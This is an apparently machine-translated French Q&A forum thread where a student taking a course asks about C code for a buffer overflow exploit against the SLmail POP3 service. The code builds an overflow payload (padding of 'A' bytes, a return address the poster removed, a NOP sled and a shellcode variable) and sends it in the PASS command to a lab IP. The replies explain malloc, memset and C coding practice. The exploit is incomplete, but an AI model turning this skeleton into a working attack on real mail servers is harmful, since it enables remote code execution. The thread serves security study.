2015-04-26 1 views
0

Je prends un cours et il me faut manipuler ce code c pour travailler dans mes circonstances spécifiques. Je comprends la plupart d'entre eux cependant j'ai du mal à comprendre ce que plusieurs variables spécifiques c sont utilisées pour ci-dessous. Remarque J'ai supprimé des parties du code mais j'ai gardé intacte la zone en question.Utiliser SLmail 643 et comprendre comment je peux l'utiliser

Aussi je ne vous demande pas de faire mes devoirs, j'ai juste besoin d'aide pour comprendre certains domaines afin que je puisse le faire moi-même .. un coup de pouce utile, ou une poussée violente.

#include <fcntl.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <sys/wait.h> 
#include <errno.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <string.h> 


#define retadd "\x\x\x\x" */I removed the memory return*/ 
#define port 110 

char buf[] = "Stuff will be put here" 

struct sockaddr_in plm,lar,target; 



int conn(char *ip) 
{ 
int sockfd; 
plm.sin_family = AF_INET; 
plm.sin_port = htons(port); 
plm.sin_addr.s_addr = inet_addr(ip); 
bzero(&(plm.sin_zero),8); 
sockfd = socket(AF_INET,SOCK_STREAM,0); 
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0) 
{ 
perror("[-] connect error!"); 
exit(0); 
} 
printf("[*] Connected to: %s.\n",ip); 
return sockfd; 
} 

int main(int argc, char *argv[]) 

{ 

int xs; 



char out[1024]; 

char *buffer = malloc(2958); 

memset(buffer, 0x00, 2958); 



char *off = malloc(2606); 

memset(off, 0x00, 2606); 

memset(off, 0x41, 2605); 



char *nop = malloc(16); 

memset(nop, 0x00, 8); 

memset(nop, 0x90, 16); 



strcat(buffer, off); 

strcat(buffer, retadd); 

strcat(buffer, nop); 

strcat(buffer, shellcode); 



printf("[+] SLMAIL Connection \n"); 

xs = conn("192.168.31.29"); 

read(xs, out, 1024); 

printf("[*] %s", out); 

write(xs,"USER username\r\n", 15); 

read(xs, out, 1024); 

printf("[*] %s", out); 

write(xs,"PASS ",5); 

write(xs,buffer,strlen(buffer)); 

printf("insert len: %d bytes\n",strlen(insert)); 

printf("Buffer len: %d bytes\n",strlen(buffer)); 

write(xs,"\r\n",4); 

close(xs); 

} 

Qu'est-ce que le paramètre malloc (2958)? Est-ce la taille totale allouée pour le tampon? Aussi, quelle est la variable memset pour in c?

char *buffer = malloc(2958); 

memset(buffer, 0x00, 2958); 

Sous le malloc (2606) c'est la taille de l'octet requis pour enregistrer un point précis en mémoire, pourquoi est-il amoindri par 1 ci-dessous pour l'hexagone « A '2605?

char *off = malloc(2606); 

memset(off, 0x00, 2606); 

memset(off, 0x41, 2605); 

Encore une fois je en position cela va ajouter 7 x90s au tampon, mais quelle est la signification de malloc et le 0x00 ici?

char *nop = malloc(8); 

memset(nop, 0x00, 8); 

memset(nop, 0x90, 7); 

Merci.

Répondre

0

Un coup d'œil sur les pages de manuel vous montrerais que malloc se réserve le nombre d'octets de mémoire indiquées dans l'argument et renvoie un pointeur vers cette mémoire, et memset remplit une plage de mémoire avec la valeur (octet) passé.

char *nop = malloc(8);  // allocate 8 bytes of memory 
memset(nop, 0x00, 8);  // fill those 8 bytes with 0x00 
memset(nop, 0x90, 7);  // fill the first 7 bytes with 0x70 

L'une des raisons de cette pourrait être d'abord une routine d'initialisation, et une seconde initialisation pour faire une chaîne terminée par NUL. Notez que malloc n'initialise pas la mémoire, la mémoire allouée est dans un état indéfini.

Je ne le vois pas cependant - calloc fait la même chose que malloc mais remplit également la mémoire allouée avec 0. Que vous utilisiez malloc ou calloc ou même realloc, vous devriez prendre l'habitude de toujours vérifier le résultat.

char *nop = malloc(8); 
if (nop == NULL) { ... /* failure code */ } 

Un autre petit point, la première des quatre déclarations strcat(buffer,...) consécutifs ne fonctionne que parce que le tampon a été initialisé. C'est une mauvaise pratique: la première strcat serait meilleure que strcpy.

Alors que je suis ici ce (qui nécessite une terminaison ; pour compiler)

char buf[] = "Stuff will be put here" 

ne contiendra que le nombre d'octets réservés par la longueur de votre message: 22 tel qu'il est.

Enfin, ces char* tampons vous mémoire allouée dans main() - la mémoire doivent être libérés à la fin du programme en appelant

free(buffer); 
free(nop); 

etc.

+0

D'un point de vue d'exploiter est-il important que 0x00 dans certains cas, pourrait être considéré comme un badchar et pourrait entraîner l'arrêt de l'application - ou cela n'a-t-il pas d'importance puisque nous le compilons? Il semble que le 0x00 Null soit simplement écrasé et non pertinent. Avez-vous besoin d'utiliser des valeurs nulles pour effacer l'espace ou est-ce une bonne pratique de programmation? – Brian

+0

Je ne sais pas ce que le programmeur voulait. '0' ou' 0x00' ou 'NULL' n'est pas un" mauvais caractère ". Ce ne sont que des manières différentes d'exprimer la même chose (à condition que 'NULL' soit' 0', ce qui n'est pas garanti). Je ne faisais que commenter ce que vous avez demandé. Mais vu que c'est une question d'école, parfois le code qu'ils vous donnent doit être amélioré! NB ton récit sur 'nop' que j'ai cité dans ma réponse ne correspond pas au code' char * nop = malloc (16); memset (nop, 0x00, 8); memset (nop, 0x90, 16); 'Pourquoi zéro 8 des 16 octets, puis définissez tous les 16? –